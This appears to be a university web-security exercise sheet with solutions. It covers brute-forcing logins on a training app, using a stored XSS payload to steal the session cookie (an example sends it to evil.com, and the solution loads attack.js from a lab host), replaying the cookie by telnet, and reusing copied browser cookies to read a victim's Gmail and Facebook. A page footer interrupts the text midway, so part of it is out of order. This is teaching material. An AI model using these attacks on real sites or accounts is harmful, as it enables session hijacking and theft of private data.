Exercise: Authentication and Session Management (Solution)

Bruteforce a login system

We have an application: KIS Klinik Sonnenschein. We want to bruteforce the site.

Exercise 1. Automate login tests.

Wirte a small php (or java or python, or what you want) program to be run on your laptop. This program must send a request for login, where you can input a username and a password. You must test if the login is valid or not. You can test with the user `house`. The password is given in Moodle.

Solution

We write a python file that can send the login form and test if the page is the right one.

solution_1_login.py

Exercise 2. Brute force the login

- Modify your program to test with the list of most often used passwords Passwords. Select the list `darkweb2017-top100.txt`. You will test user `bie1`.
  Solution We do read the file and test for each of the password if it matches the user `bie1`.
  solution_2_list.py

- Modify the previous program, such that you can loop all possible passwords with 4 letters.
  Find the password for user `taub` (this could last for a long time, start the next exercise while waiting for the result).
  Solution We do loop on a set of characters (since I know the solution, I reduced the set of characters on purpose).
  solution_3_brute.py

Access the sessionID cookie

Exercise 3. This exercise is to be done in the application for the "*guestbook*" in your Virtual Machine.

- Modify your stored XSS script in order to read the session ID cookie.

- Send the cookie by generating a new *script* node (<script src="https://evil.com/?sessionID=xxxxxx"></script>). You do not need to have such a server, just verify inside the browser that a request has been sent.
  Solution We enter the following string inside the search field.
  `<script src=http://192.168.64.2/SoftSec/exercises/authentication/attack.js></script>`
  This loads the file attack.js inside the page.
  We can read inside the HTTP Trafic (in the network monitor of our browser for instance):

```
GET /SoftSec/exercises/xss/otherpage.php?search=PHPSESSID=3lbalbiu6leh9t48bqkv0rkluo HTTP/1.1
Host: 192.168.64.2
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
...
...
```

Related Pages

Home

Slides

Exemples

Exercices

Resources

Contact

Prof. Dr. Emmanuel Benoist
Berner Fachhochschule - TI
Quellgasse 21
CH-2501 Biel/Bienne
Switzerland
Mail: emmanuel.benoist (at) bfh.ch

Social Networks

Follow me on
Linkedin, Scholar & Research gate

http://www.ti.bfh.ch/

so the session ID has been sent to the server.

- Generate manualy a GET request containing this cookie.
  ```
  $ telnet localhost 80
  GET /guestbook/ HTTP/1.1
  Host: localhost
  Cookie: PHPSESSID=3lbalbiu6leh9t48bqkv0rkluo
  ```
  You see the page. You just verify that the form for sending a message is visible (it is the last form at the bottom of the page).

Credentials Theft

Exercise 4. In Linux the file is placed in the following directory :
`/home/username/snap/firefox/common/.mozilla/firefox/rand.profile`
Save your file there.
Access to gmail.com. **It works** Read the emails of the user.
You can also access Facebook with those cookies.

BACK TO TOP